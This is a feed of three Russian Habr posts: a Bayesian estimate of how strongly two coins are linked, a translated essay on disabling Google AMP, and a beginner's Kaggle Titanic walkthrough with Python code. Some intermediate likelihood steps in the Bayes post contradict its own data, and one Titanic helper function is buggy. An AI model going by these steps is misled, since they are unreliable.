Опишем связанность в виде коэффициента $k \in [0,1]$. Если вторая монета всегда полностью совпадает с первой, то $k=$1. Если вторая монета всегда имеет противоположные значения, то $k=0$. Если монеты несвязны, тогда $k=0.5$. Получается неплохо — одним числом описываем множество вариантов. К тому же смысл этой переменной определяем как вероятность совпадения с первой монетой.

Попробуем оценить это число по фактическим данным.

Пусть имеется конкретный набор данных $D$, который состоит из $N=5$ исходов:
исход 1: 00
исход 2: 01
исход 3: 11
исход 4: 00
исход 5: 11

На первый взгляд ни о чем не говорит. Количество комбинаций:
$N(00)=2, N(01)=1, N(10)=0, N(11)=2$

Неспешно разберем, что значит формула Байеса. Используем стандартную запись, где знак $|$ означает вероятность выполнения события, если уже известно, что другое событие выполнилось.

$P( k | D) = \frac{ P(D | k) \cdot P(k) }{P(D)}$


$k = argmax P( k | D )$




В данном случае имеем комбинацию непрерывных и дискретных распределений. $P( k | D )$ и $P(k)$ являются непрерывными распределениями. А $P( D | k)$ и $P(D)$ являются дискретными. Для формулы Байеса такая комбинация возможна. Для экономии времени не расписываю все тонкости.

Если мы будем знать эту вероятность, то можно найти значение $k \in [0,1]$, при котором вероятность нашей гипотезы максимальна. То есть найти наиболее вероятный коэффициент $k$.

В правой части имеем 3 члена, которые нужно оценить. Проанализируем их.

1)Надо знать или вычислить вероятность получения таких данных при той или иной гипотезе $P( D | k )$. Ведь даже если объекты несвязны ($k=0.5$), то получить серию ${00, 00, 00}$ можно, хотя сложно. Намного вероятнее получить такую комбинацию, если монеты связаны ($k=1$). $P( D | k )$ — наиболее важный член и ниже разберем как его вычислять.

2) Надо знать $P(k)$. Вот тут натыкаемся на тонкий момент моделестроения. Мы не знаем эту функцию и будем строить предположения. Если нет дополнительных знаний, то будем считать, что $k$ равновероятно в диапазоне от 0 до 1. Если бы мы имели инсайдерскую информацию, то больше знали бы о связанности строили бы более точный прогноз. Но так как такой информации не имеется, то положим $ k \sim равномерно[0,1] $. Так как эта величина не зависит от $k$, то при вычислении $k$ она не будет иметь значения.

3) $P(D)$ вычисляется легко — это просто вероятность иметь такой набор данных, если все величины случайны. В данном случае $P(D) = (0.5 \cdot 0.5)^N$. Так как эта величина не зависит от $k$, то при вычислении $k$ она не будет иметь значения.

Разберем, как вычислять $P( D | k )$. Помним, что первая монета независима, а вторая зависима. Поэтому вероятность значения для первой монеты будет выглядеть как-то так $P( M1=0 )$, а для второй монеты так $P( M2=0 | M1=0 )$. Вероятность совпадения с первой монетой равна $k$, а вероятность несовпадения равна $(1-k)$.

Разберем возможные случаи для одного исхода:
$P(00) = P(M1=0) \cdot P(M2=0 | M1=0 ) = 0.5 k$
$P(01) = P(M1=0) \cdot P(M2=1 | M1=0 ) = 0.5 (1-k)$
$P(10) = P(M1=1) \cdot P(M2=0 | M1=1 ) = 0.5 (1-k)$
$P(11) = P(M1=1) \cdot P(M2=1 | M1=10 ) = 0.5 k$

Для проверки сложим вероятности, должна получиться единица $P(00)+P(01)+P(10)+P(11) = 0.5 k + 0.5 (1-k) + 0.5 (1-k) + 0.5 k = 1$. Это радует.

Теперь можно перейти к поиску наиболее вероятного значения $k$ по вымышленному набору данных $D={00,01,11,00,11}$.

Вероятность иметь такой набор
$P( D | k )=P(00) \cdot P(01) \cdot P(11) \cdot P(00) \cdot P(11) $,
раскрываем
$P( D | k )=(0.5 k) \cdot (0.5 (1-k)) \cdot (0.5 k) \cdot (0.5 k) \cdot (0.5 k) $,
упрощаем
$P( D | k ) = 0.5 ^5 \cdot k^1 \cdot (1-k)^4$,
обобщаем для произвольного набора данных
$P( D | k ) = 0.5^{N} \cdot k^{N(00)} \cdot k^{N(11)} \cdot (1-k)^{N(01)} \cdot (1-k)^{N(10)}$,
$P( D | k ) = 0.5^N \cdot k^{N(00)+N(11)} \cdot (1-k)^{N(01)+N(10)}$.

Обозначим количество совпадений $A=N(00)+N(11)$, а количество несовпадений $B=N(01)+N(10)$.

Получаем такую обобщенную формулу
$P( D | k ) = 0.5 ^N \cdot k^{A} \cdot (1-k)^{B}$.

Желающие могу поиграться с графиком, вводя разные показатели степени:ссылка на wolframalpha.

Так как в этом примере $P( D | k ) = const \cdot P( k | D ) $, то работаем напрямую с $P( D | k )$.

Для поиска максимума дифференцируем и приравниваем к нулю:
$0 = k^{A-1} \cdot (1-k)^{B-1} \cdot (A(k-1) + Bk) $.

Чтобы произведение было равно нулю надо, чтобы один из членов был равен нулю.
Нас не интересуют $k=0$ и $k=1$, так как в этих точках нет локального максимума, а третий множитель указывает на локальный максимум, поэтому
$k=\frac{A}{A+B}=\frac{A}{N}$.

Получаем формулу, которую можно использовать для прогнозов. То есть после дополнительного броска первой монеты пытаемся предугадать поведение второй через $k$.
исход 6: 1?

При получении новых данных формулу корректируем и уточняем. При получении инсайдерских данных мы будем иметь более точное значение $P( k )$, и можно дополнительно уточнить всю цепочку расчетов.

Так как мы вычисляем вероятность, то для $k$ желательно проанализировать среднее и дисперсию. Среднее мы как раз нашли на предыдущих шагах. А вот про дисперсию можно сказать, что при увеличении количества данных — пик на графике (ссылка выше) становится более острый, что означает более однозначный прогноз значения $k$.

В приведенном выше наборе данных имеем 4 совпадения и одно несовпадение. Поэтому $k=4/5$. В дополнительном шестом бросании с вероятностью 80% произойдет совпадение второй монеты с первой. Допустим мы получили на первой монете 1, тогда 80%, что «исход 6» будет «11» и 20%, что «исход 6» будет «10». После каждых бросков корректируем формулу и прогнозируем вероятность еще несовершенных совпадений на шаг вперед.

На этом я бы хотел закончить свой пост. Буду рад вашим комментариям.

PS
Данный пример описан для демонстрации алгоритма. Тут много чего не учтено того, что бывает в реальности. Например, при анализе событий из реального мира надо будет анализировать временные интервалы, проводить факторный анализ и многое другое. Это уже забота профессионалов. Так же следует философски отметить, что всё в этом мире взаимосвязано, только эти связи иногда проявляются, а иногда нет. Поэтому полностью абсолютно всё учесть на сто процентов не получится, ибо пришлось бы в формулу включать все объекты этого мира, даже те, которые мы не знаем, и обрабатывать очень большой объем фактического материала.

Источники информации:
1. https://ru.wikipedia.org/wiki/Теорема_Байеса.

2. https://ru.wikipedia.org/wiki/Байесовский_вывод.

3. Нейт Сильвер, «Сигнал и шум».

Рыбаков Д.А.
2017
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331282/


Метки:  

[Перевод] Я решил отключить Google AMP на своём сайте

Пятница, 30 Июня 2017 г. 09:11 + в цитатник


Меня связывает с проектом Google’s Accelerated Mobile Pages (AMP) долгая история, но вчера чаша терпения переполнилась.

Я зашёл в Twitter (в Safari на iPhone 6) и заметил, что кто-то сослался на мой сайт, поставив ссылку AMP. Я ответил и указал настоящую ссылку, но когда нажал на неё, то меня перенаправило обратно на версию AMP моей страницы.

Thanks for sharing here is non amp link so all images load: https://t.co/6drRK5Cugz

— Alex Kras (@akras14) June 23, 2017

Я скопировал ссылку, сгенерированную Twitter, и заметил, что она выглядит так:

https://t.co/6drRK5Cugz?amp=1

Обратите внимание на amp=1 в ссылке. Когда на неё нажимаешь, она возвращает такую HTML-страницу:


    
    


Единственное предназначение этой страницы — перенаправить читателя на версию AMP.

Мои проблемы с AMP как издателя


Когда проект AMP появился, я воспринял его оптимистично. Его целью было сделать веб быстрее, а я уважаю такую цель.

Что мне ОЧЕНЬ не понравилось как издателю — это то, что Google кэшировал контент AMP и выдавал его из своего собственного кэша и под собственным доменным именем. В результате, ссылки выглядели так:

https://www.google.com/amp/www.bbc.co.uk/news/amp/39130072

Другими словами, вместо выдачи контента с BBC.co.uk, он поставлялся с Google.com.

У такого подхода есть несколько проблем:

  1. Он «заманивает» пользователей на Google. Если человек нажмёт “x” на верхнем скриншоте, его отправят обратно к результатам поиска Google. Нормальный редирект отправил бы пользователя на реальный сайт BBC, увеличивая шансы, что он останется на том сайте. Вместо этого AMP делает проще для пользователей вернуться на Google. Это функциональность, которая в браузере всегда доступна по кнопке «Назад». Это плохо для издателей, но скорее всего неуместно и для самих пользователей.
  2. Он делает систему уязвимой для злоупотреблений. Например, фейковые новости при публикации через AMP могут показаться достоверными неподготовленному читателю, поскольку они поставляются с Google.com — очень уважаемого домена.

Как ни странно, это НЕ то, что делает Twitter

Думаю, что Twitter исходит из предположения, что контент в формате AMP лучше для пользователей. По этой причине они просто пытаются оказать пользователям услугу и доставить контент в наилучшем формате.

Мои проблемы с AMP как пользователя


AMP состоит из трёх компонентов: HTML, библиотека JavaScript и кэш. В предыдущем разделе я говорил о своих претензиях к кэшу. Преимущетво кэша, как объяснили мне разработчики Google AMP, в том, что он позволяет Google (или любой другой платформе) осуществлять предварительную загрузку контента для пользователя. Когда пользователь нажимает на ссылку AMP, Google может вывести результат практически мгновенно, поскольку он уже получен в фоновом режиме.

И опять, как ни странно, Twitter не использует этот кэширующий слой. Twitter предполагает, что мобильные пользователи предпочитают читать отрендеренный в формате AMP контент, даже если он не был предзагружен в кэш.

Для меня проблема в том, что мне не нравится читать контент AMP. Есть много мелких вещей, которые меня реально раздражают в AMP.

Например:

Неудобная прокрутка


На iPhone AMP переназначает дефолтную прокрутку в браузере. В результате скроллинг на страницах AMP как будто отсутствует.

Трудно делиться ссылками


AMP затрудняет обмен ссылками на оригинальный контент.

Вместо того, чтобы просто перейти в адресную строку и скопировать ссылку, пользователю нужно нажать специальную кнопку, чтобы увидеть оригинальный URL. Затем пользователю нужно нажать на оригинальный URL, подождать редиректа и скопировать его из адресной строки вверху.

Примечание: Какой бы она ни была неудобной, но кнопка с оригинальной ссылкой — большой шаг вперёд в интерфейсе AMP. Изначально пользователям приходилось вручную удалять часть https://www.google.com/amp/ из адреса.

Я готов пройти через эти трудности, потому что мне не нравится читать контент AMP и потому что я хочу убедиться, что доверяю верному источнику по этой ссылке. Уверен, что большинство пользователей не производят всех этих шагов. Они просто копируют полную ссылку AMP, вроде https://www.google.com/amp/www.bbc.co.uk/news/amp/39130072, и делятся ею. Моя жена, например, постоянно присылает мне такие ссылки. Для меня действительно удивительно, что большие издатели не обеспокоены этим фактом настолько же, насколько я.

Контент AMP обычно разделён на части


Вспомните времена, когда нам приходилось загружать WAP-страницы — специальные веб-страницы, которые создавались для мобильных устройств. Подписка на AMP для издателя — это словно возвращение в те времена. Вместо использования адаптивного дизайна (когда одна версия сайта хорошо работает на всех устройствах) издатели вынуждены поддерживать две версии каждой страницы — обычную версию для устройств большего размера и мобильных телефонов, которые не используют Google, а также версию AMP.

Преимущество технологии AMP в том, что она накладывает жёсткие ограничения на контент, тем самым гарантируя его быструю загрузку. Проблема такого подхода заключается в том, что в AMP попадает не весь контент. Например, комментарии часто удаляются.

Я также заметил, что загрузка изображений в AMP глючит. AMP пытается загрузить изображение только когда оно попадает в область видимости для пользователя, а изначально отображается белый квадрат. По моему опыту, часто происходит так, что белый квадрат там и остаётся вместо изображения.

Есть много других маленьких нюансов для разных сайтов. Например, комментарии Reddit (очень важная часть сайта) кэшируются в AMP. В результате, новые комментарии, которые видны в десктопной версии Reddit, не отображаются в версии AMP, пока кэш для этой страницы не обновится.

AMP обязателен для пользователей


Издатель сам решает, хочет ли он добавить поддержку AMP для своего сайта. А вот пользователи не имеют возможности отключить AMP.



Было бы замечательно, если бы Google предоставлял пользователю настройки с возможностью отключить результаты рендеринга AMP. К сожалению, даже если они добавят такую опцию, это не сильно поможет в условиях, когда Twitter или Facebook поддерживают AMP на сервере.

Почему я изначально подключил AMP для своего сайта


Я изначально подключил AMP для своего сайта только по одной причине — хорошее место результатах поиска Google.

Незадолго до появления AMP компания Google объявила, что будет опускать в выдаче сайты, которые недостаточно быстро отображаются на мобильных устройствах. У моего веб-сайта был адаптивный дизайн, но я не был уверен, что он достаточно оптимизирован для мобильных устройств. Поэтому, когда я узнал о наличии плагина AMP для WordPress, то сразу подключил его. И хотя Google официально заявила, что поддержка AMP не влияет на место в результатах поиска, я решил, что она не помешает.

Ещё одним преимуществом AMP для ранжирования в поиске было то, что только сайты с поддержкой AMP отображались в функции «карусели» на сайте Google. Хотя мой сайт вряд ли попадёт в «карусель», но такая возможность должна быть важной для крупных издателей.



Она распространяется


Я подумал об отключении AMP, когда впервые узнал, что Google загружает мой сайт из кэша, но передумал по двум основным причинам:

  1. Я хотел сохранить позиции в поиске.
  2. Я хотел оставить AMP как опцию для тех читателей, кому это нужно.

Чего я не понимал до истории с Twitter, так это того, что активируя AMP я тем самым разрешаю другим сайтам выбирать, как они хотят ссылаться на мой контент.

Менее двух недель назад я написал следующее:

«У меня нет проблем с самой библиотекой AMP. Меня не волнует, что Facebook Instant Articles или Pinterest используют AMP».

Как я ошибался. Я думал, что меня это не волнует, пока не увидел свою ссылку в Twitter с указанием рендеринга в формате AMP.

Пользователям это не нужно


Несколько недель назад кто-то в Twitter обвинил меня в том, что я не люблю AMP, потому что у меня «привилегия» быстрого интернета. Хотя у меня и вправду быстрый интернет, не думаю, что использовал бы AMP даже на медленном соединении. Я бы скорее отключил JavaScript в браузере (может быть, даже изображения, если всё действительно настолько плохо). Это может работать не для всех сайтов, но мой сайт рендерится и кэшируется на стороне сервера. Пользователям нужно всего лишь скачать немного HTML, чтобы увидеть любую страницу. Зачем заставлять их скачивать библиотеку AMP JavaScript?

Конечно, у нас есть AMP, потому что Google хочет, чтобы пользователи видели рекламу, которая практически отсутствует при отключенном JavaScript. Я тоже хочу, чтобы пользователи видели рекламу (рекламу Google, между прочим), так я оплачиваю расходы на сервер. Тем не менее, я радостью позволю человеку на плохом соединении отказаться от этой части сделки.

В любом случае, для проверки своей теории я открыл Chrome Developer Tools, чтобы придушить своё соединение до максимально медленного варианта, и отключил JavaScript. Я открыл статью на своём сайте, и она загружалась три секунды. Я попытался использовать поиск Google, и он оказался ошеломительно быстрым, но там не было никаких ссылок AMP. Конечно не было, ведь они показываются только при включенном JavaScript.

Я снова включил JavaScript (сохранив низкой сетевую скорость) и попытался поискать какой-нибудь контент AMP. Заняло более 10 секунд просто загрузить «карусель» с новостями.

Как и ожидалось, статический контент (без JavaScript) по-прежнему на высоте.

Пожалуйста, высказывайтесь


Впервые я написал о своих опасениях насчёт AMP девять месяцев назад. Та статья привлекла некоторое внимание на Hacker News, и ребята с отдела Google AMP активно участвовали в обсуждении на Hacker News и в комментариях к моей статье. Они даже зашли настолько далеко, что пригласили меня на обед, чтобы лучше узнать о моих опасениях.

Две недели назад я написал похожую статью под названием «Пожалуйста, сделайте Google AMP необязательным». Он получил намного больше внимания на Hacker News, чем первоначальная статья (вошёл в Топ-300 постов за всю историю), но по-прежнему никак не повлиял на позицию разработчиков Google AMP.

Возможно, сотрудники Google AMP осознали, что они совсем немного выиграют, если прислушаются к маленькой части сообщества разработчиков, которым не нравится AMP. Они знают, что мы в меньшинстве, и мы не их целевая аудитория. Моя мама и моя жена не ходят на Hacker News. Они не знают, что такое AMP и не особенно озабочены проблемами открытого веба.

В то же время в Google много инженеров, для которых открытый веб важен. Меня действительно удивляет, что я не слышу их высказываний против AMP. Могу предположить, что этот проект получил благословение на самом верху, так что политически опасно гнать волну.

Однако те из нас, кому не по душе AMP, должна сражаться.

У вас есть сайт WordPress? Отключите AMP или не включайте его, если он отключен.

Вы работаете на издателя, у которого включена поддержка AMP? Попробуйте объяснить своему работодателю опасности AMP, как он может терять трафик и узнаваемость бренда.

Вы просто веб-разработчик? Попробуйте делать более быстрые сайты и избегайте перегрузки скриптами. Есть множество справочных ресурсов, которые помогут справиться с этой задачей (например, см. заметки с Chrome Dev Summit). Будет проще бороться с AMP, если большинство сайтов будут быстро загружаться, даже на слабых соединениях.

Решение отключить AMP пришло не сразу. К счастью, отключить его на WordPress было почти так же просто, как и подключить. Достаточно просто дезактивировать плагин. Менее чем через 24 часа Google прекратил показывать версию AMP моего сайта в своих результатах поиска.

Дополнение. Здесь я записал конкретные шаги, которые сделал, включая установку редиректа для старых ссылок AMP: https://www.alexkras.com/how-to-disable-amp-on-wordpress/.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331958/


Метки:  

«Айсберг вместо Оскара!» или как я пробовал освоить азы DataScience на kaggle

Пятница, 30 Июня 2017 г. 02:30 + в цитатник
В моей прошлой статье посвящённой освоению науки о данных (или по заграничному — Data Science) с абсолютного нуля (даже ниже чем -273 градуса по Кельвину) я обещал, что подготовлю материал о том, как я осваивал kaggle (буду писать с маленькой буквы, как у них на логотипе).

Для тех, кто так же, как и я только начинает знакомится с данным вопросом, поясню что как я понял kaggle это сайт, посвящённый соревнованиям и в некоторой степени обучению в области Data Science, где каждый может совершенно бесплатно и используя любые доступные инструменты, сделать прогноз по той или иной задаче.

Слов на ветер бросать не люблю, раз уж пообещал, то хочешь не хочешь — пиши, поэтому если вам интересно что же в итоге у меня из всего это вышло прошу под кат.




Часть 1. «Белеет мой парус такой одинокий…» — немного о навыках



По доброй традиции начну статью, с описания своих навыков, чтобы начинающий читатель мог понять, что знаний у меня практически нет и тоже воодушевился.

Итак, мои знания о том, что такое Data Science и с чем его едят базируются на курсах от Cognitive class (СС) и на самоучителе Наука о данных с нуля (Data Science from Scratch) (по ссылкам мое мнение об этих ресурсах).

Чтобы вам было не обязательно тратить свое время, кратко резюмирую:

  1. Cognitive class – рассказал мне о том что такое Data Science и бегло продемонстрировал некоторый набор применяемых практик и инструментов, однако после прохождения курса ничего путного самостоятельно я делать не научился
  2. Самоучитель – провел для меня беглую экскурсию в мир науки о данных, показал основные приемы и дал отсылки к базовым знаниям, однако из-за того, что в книге все функции для анализа были написаны с нуля, то пользоваться реальными библиотеками, (например, pandas) я так и не научился, ну а краткого курса Python представленного в книге, хватило ровно настолько чтобы сильно не «пучеглазить» при виде учебного кода из туториалов kaggle (о чем позже).


Поэтому не смотря на знание о некоторых концепциях в области Data Science открыв первую и похоже самую популярную задачку про Титаник, я оказался по сути «один в чистом поле», а вокруг были какие-то рейтинги, «блокноты» с решениями и люди, которые явно что-то знают…

Часть 2. «…На фоне стальных кораблей» — немного о kaggle и соревновании про Титаник.



Подозреваю, что моя статья про kaggle не первая и при желании можно найти разную информацию о том, что это и как начать с ним работать, но я все же хотел бы поделится своим опытом вхождения в этот удивительный мир.

Итак, как я уже сказал в самом начале kaggle это портал, посвященный соревнованиям в области науки о данных. Регистрация на портале совершенно бесплатна, представленный инструментарий, вроде бы тоже (если там есть, что-то платное напишите пожалуйста в комментариях я обновлю статью).

Соревнования на портале делятся на разные категории, за призовые места на некоторых дают деньги, некоторые задачи просто ради интереса, безусловно есть задачи ориентированы на новичков (как я понял, в них регулярно чистятся рейтинги), ну и есть какие-то полузакрытые соревнования, видимо как-то связанные с другими порталами.

Насколько я понял портал предназначается для того, чтобы пользователи могли посоревноваться в прогнозировании и похвастаться перед коллегами и работодателями высокими местами в таблицах лидеров, ну а компании возможно могут решить какие-то свои задачи в области исследований или даже найти сотрудников (на сайте есть такой раздел).

Портал представлен на английском языке так что, если вы им совсем не владеете возможно вам будет тяжело («спасибо КЭП!»).

Помню, когда регистрировался очень хотел спать, поэтому ничего не понял и плюнул, но надо отдать должное команде проекта, утром мне пришло письмо с приветствием и предложением начать знакомство с курса Titanic: Machine Learning from Disaster и ведь убедили «чертяки», я не смог им отказать.

Как мне показалось, задача с определением числа выживших на Титанике похоже — самая избитая и упоминается, наверное, в половине всех курсов по Data Science

(вот кстати отличная задачка для аналитики, узнать, как часто в курсах и книгах по Data Science упоминается задачка про Титаник и как часто будет упоминаться в будущем, если кто-то владеет данными, пишите в комментариях, по горячим следам обновлю статью)

На стартовой странице соревнования есть описательная часть и требования к загружаемым вами результатам анализа, если вы на kaggle первый раз, то более полезными окажутся страницы с FAQ и Tutorials. Надо отметить, что последние две вкладки на задачах для опытных пользователей вполне могут (и скорей всего будут) отсутствовать.

FAQ: для данного соревнования поведает нам следующие ключевые вещи.

  1. Что есть публичная таблица рейтинга, которая получена на основании загруженной вами оценки тестовой выборки и является лишь верхушкой айсберга *ba-dum-tss*.


  2. Вторая часть оценок скрыта от пользователя и проявит себя только после подведения итогов. И как я понял именно скрытые 50% являются ключевыми для определения победителя и похоже аналогичный подход, но с разным процентным соотношением характерен для многих других соревнований.
  3. В данном учебном соревновании рейтинг чистится раз в два месяца, это значит, что все ваши загрузки старше двух месяцев потеряют свой статус (как я понял), так что задача про Титаник не «для резюме», а именно для наработки навыков.
  4. Kaggle нам сообщит, о том что при желании вам не придется ставить себе что-либо на рабочую машину инструменты для анализа есть у kaggle в облаке.


Tutorials: Для новичка жизненно необходимая вкладка, если вы зашли «с улицы» и ничего не понимаете, то вам (и мне) как раз туда. Учебные материалы можно поделить на 3 типа:

  1. Хорошо задокументированные блокноты (других пользователей), в которых по шагам описаны варианты готового решения и изложена логика, которой руководствовался автор исследования.
  2. Ссылки на интерактивные туториалы от DataCamp
  3. Просто статьи.


Блокноты и интерактивные туториалы представлены для языков R и Python
А в текстовых статьях к ним даже добавляется инструкция, о том как обработать данные с помощью Excel.

С чего начал я?

В начале статьи я ссылался на курсы СС (которые были больше ориентированы на R) и самоучитель (ориентированный на Python), поскольку книжка мне понравилась больше, то я выбрал Python.

Блокнотов на Python оказалось много, какие-то были по проще, какие-то наоборот содержали много развернуто изложенного материала, я понял, что вот так сразу не готов «с места в карьер» и начал с интерактивного туториала.

Часть 3. «Хорошо тому, кто знает…» — Интерактивный туториал для решения задачи на Python



Хорошо тому, кто знает, а мне — плохо, поэтому без туториала было никак. Итак ссылка привела меня к этому курсу: "Kaggle Python Tutorial on Machine Learning". Курс бесплатный (хотя есть назойливый нюанс).

Что представляет из себя курс? Если кто-то сталкивался с codecademy, то вам все будет привычно. Слева описание и цели, справа код задачи и консоль Python. Сложностей почти не возникает, задания простые, отправлять код можно сколько угодно раз пока не получится, а если надоело, то можно взять подсказку или получить готовый ответ (если, конечно вы не жуткий фанат РПГ и вам не жалко баллов опыта)

Курс состоит из трех глав:
  1. Самые базовые основы синтаксиса и принципов анализа;
  2. Получение грубой модели на основе дерева принятия решений (Decision Trees). В принципе после этой главы у вас будет готовое решение, которое можно скачать и залить на kaggle;
  3. В третьей главе вы с помощью Random Forest улучшите свои предсказания. Эту модель так же можно будет залить на kaggle;


Туториал — несложный и проходится в течении часа, ну максимум двух.

Заметил, что при прохождении курса после завершения каждой главы у меня всплывало окно с предложением получить платный аккаунт и только после этого продолжить курс (кнопку закрытия я не заметил, может она и есть), если вам оно будет мешать то его можно удалить с помощью инструмента «просмотр кода элемента» (есть почти в любом современном браузере), удалить надо Div с классом который будет содержать слово «modal», ну например «modal-container», после того как окно пропадет, можно будет спокойно отправить результаты и перейти к следующей главе.

Не могу сказать, что курс очень информативный, но самые минимальные (прям крошечные) представления о библиотеках для анализа данных на Python дает, когда экспериментировал со своим блокнотом (о чем ниже), многие приёмы у них заимствовал.

Часть 4. «…Как опасен в океане» — человек с «блокнотом» на Python.



Пройдя интерактивный курс, я решил, что не буду себя уважать, если отправлю те наборы данных, что он предлагает, даже не попытавшись поковыряться в блокнотах.

К слову сказать, платформа позволяет «форкнуть» понравившийся блокнот и в нем поэкспериментировать или же просто скачать себе код, чтобы поковырять его на своем компьютере.

Как я уже говорил, блокнотов много, я решил выбрать тот что выглядел попроще в освоении (переводить, большую «портянку» текста на английском в два часа ночи не хотелось чуть меньше чем совсем). Итак, я решил позаимствовать код из "Machine Learning from Start to Finish with Scikit-Learn", автор не обещает высокой точности предсказания, но ведь главное не победа, а участие.

Честно скажу воспользоваться хоть одним решением в его изначальном виде у меня рука не поднялась, и я попытался, хоть немного поковырять код и попробовать написать пару строчек своими руками, поэтому у меня получился жуткий монстр из кода интерактивного туториала и этого блокнота

Итак, код я решил править у себя на компьютере (ну не просто же так я ставил в прошлой статье Anaconda). Выкладывать свой код целиком не буду, уж очень позорно вышло, если кто-то захочет это вбить в свой блокнот Jupyter, то каждая секция кода, вставляется у меня в отдельную ячейку (но лучше не надо, он то предупреждения выдаст, то еще что-нибудь, это плохой пример для подражания).

Первым делом я в наглую спер фрагмент объявления данных

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn  import tree
%matplotlib inline
data_train = pd.read_csv('data/train.csv')
data_test = pd.read_csv('data/test.csv')
data_train.sample(5)


Затем позаимствовал код для построения пары диаграмм, которые у автора получились вполне наглядными. Одна показывала связь между выживаемостью мужчин и женщин из разных точек отправления,
sns.barplot(x="Embarked", y="Survived", hue="Sex", data=data_train);


второй график показывал туже связь, но уже относительно, к классам в которых жили пассажиры.

sns.pointplot(x="Pclass", y="Survived", hue="Sex", data=data_train,
              palette={"male": "blue", "female": "red"},
              markers=["*", "o"], linestyles=["-", "--"]);


Графики есть в исходном блокноте, поэтому выкладывать картинки не буду.

Потом я решил, что я ничуть не хуже и тоже попробовал придумать свою диаграмму.

Я решил проверить, влияет ли как-то статус сопровождающего и класс пребывания на вероятность выживания ребенка до 18 лет.
Поскольку эта выборка для баловства и в расчетах не участвует, я сделал копию данных и преобразовал данные в нужный мне формат.

data_train2=data_train.copy()
data_train2=data_train2[data_train2["Age"] <= 18]
data_train2.Parch = data_train2.Parch.fillna("nanny")
data_train2["Parch"][data_train2["Parch"] != 0] = 'parrents'
data_train2["Parch"][data_train2["Parch"] != 'parrents'] = 'nanny'




В итоге получилось, что-то. Эта диаграмма либо говорит, нам о том, что дети во 2-м пассажирском классе у которых был родитель вместо няньки выживали намного чаще, либо не говорит ни о чем кроме того, что я ошибся потому что за пять дней не реально освоить анализ данных =)

Перейдем к расчётной части. Забегая вперед скажу, что я залил свое решение на kaggle 2 раза, чтобы проверить изменения.
Итак, я понял, что вариант кода из интерактивного туториала не очень удобный и чтобы не плодить кучу одинакового кода, я решил позаимствовать у автора блокнота, вариант с написанием функций:

def simplify_Age (df):
    df.Age = data_train.Age.fillna(0)

def simplify_Sex (df):
    df["Sex"][df["Sex"] == 'male'] = 0
    df["Sex"][df["Sex"] == 'female'] = 1

def simplify_Embarked (df):
    df.Embarked = df.Embarked.fillna(0) 
    df["Embarked"][df["Embarked"] == "S"] = 1
    df["Embarked"][df["Embarked"] == "C"] = 2
    df["Embarked"][df["Embarked"] == "Q"] = 3

def simplify_Fares(df):
    df.Fare = df.Fare.fillna(0)


Функции преобразуют данные в цифровой формат, чтобы потом их можно было «скормить дереву».

Дальше эти функции я применил для обучаемой модели (data_train) и для тестовой (data_test)

simplify_Age(data_train)
simplify_Sex(data_train)
simplify_Embarked(data_train)
simplify_Fares(data_train)
simplify_Age(data_test)
simplify_Sex(data_test)
simplify_Embarked(data_test)
simplify_Fares(data_test)


назначил для дерева цель

target = data_train["Survived"].values


дальше действия разделились

# В2. ячейка для второй модели идет перед тем кодом, что будет после (в первой модели не применялась)
data_train["Family"]=data_train["Parch"]+data_train["SibSp"]
data_test["Family"]=data_test["Parch"]+data_test["SibSp"]

Вариант для первой модели. Я не очень понимаю, что тут происходит, видимо можно понять, какое дерево он создал и какие параметры вносят больший вклад в прогноз.
#строку с features мы после немного модернизируем.
features = data_train[["Pclass", "Sex", "Age", "Fare"]].values
d_tree = tree.DecisionTreeClassifier()
d_tree = d_tree.fit(features, target)
print(d_tree.feature_importances_)
print(d_tree.score(features, target))


Теперь создадим предсказание для тестового набора данных для первой модели и сохраним его в csv:

# эту строку тоже
test_features = data_test[["Pclass", "Sex", "Age", "Fare"]].values
prediction = d_tree.predict(test_features)
submission = pd.DataFrame({
        "PassengerId": data_test["PassengerId"],
        "Survived": prediction
    })
print(submission)
submission.to_csv(path_or_buf='data/prediction.csv', sep=',', index=False)


Забираем из папки .csv, возвращаемся на kaggle жмем «Submit Predictions» и получаем 0.689 достоверности. Не могу сказать, что это хорошо, но зато это же ПЕРВОЕ ПРЕДСКАЗАНИЕ! После такого, можно пойти работать в популярные ТВ шоу про экстрасенсов.

По причинам, о которых я расскажу в заключительной части, я не стал сильно беспокоится о качестве модели и не стал применять техники ее улучшения из интерактивного курса Data Camp (а они там есть).

Тем не менее, чтобы статья была наглядней давайте разберем одно небольшое улучшение.

Выше по тексту я предлагал код с комментарием: «# В2. ячейка для второй модели идет перед тем кодом, что будет после (в первой модели не применялась)» две строчки кода после комментария можно вставить и сразу (вреда не будет, но и пользы тоже).
Для чего нудны нам эти строчки? Это я решил проверить, как наличие семьи (сестер, братьев, родителей и т.п.) повлияет на выживаемость (идея во многом взята из интерактивного туториала). Так объединив поля «спутники» и «родственники» (мой вольный перевод), я получил поле «семья»

Заменим строки features = data_train[[«Pclass», «Sex», «Age», «Fare»]].values и test_features = data_test[[«Pclass», «Sex», «Age», «Fare»,«Family»]].values на:

features = data_train[["Pclass", "Sex", "Age", "Fare","Family"]].values
test_features = data_test[["Pclass", "Sex", "Age", "Fare","Family"]].values


В них добавился наш параметр влияния семьи, а в остальном все останется без изменений.

Как я понял команда print(d_tree.feature_importances_) показывает нам степень вклада каждого из параметров в итоговый результат модели.

Получим следующее:
[ 0.08882627 0.30933519 0.23498429 0.29841084 0.06844342].

Позиции в массиве соответствуют «Pclass", «Sex», «Age», «Fare»,«Family». Итак мы видим, что наш пункт про семью особо погоды не делает, но для любопытства все же зальем обновленный результат на kaggle.

И обнаружим, что наша модель, самую малость увеличила точность предсказания, теперь она составляет 0.72727. и этот результат уже в районе 6800 места в рейтинге =)

Мы люди простые, нам больше и не надо, поэтому перейдем к заключительной части.

Часть 5. «Айсберг встречным кораблям» — Заключение.



Никогда бы не подумал, но искать зависимости в данных и пытаться делать прогнозы, оказывается – увлекательное и вполне себе азартное занятие! Несмотря на то, что с нуля начать тяжело, и как я понимаю практически полное отсутствие навыков в области мат. анализа, статистики и применения теории вероятности, еще не раз мне аукнется, в целом на начальном этапе процесс затягивает.

Как видите на примере трех статей, я показал, что с абсолютного нуля, можно вполне заинтересоваться предметом, причем если вы фанат Python, то вариант с Cognitive Class можно вполне пропустить без особого ущерба для понимания общих концепций (хотя он бесплатный и в принципе можно день два на него потратить, посмотреть инструменты).

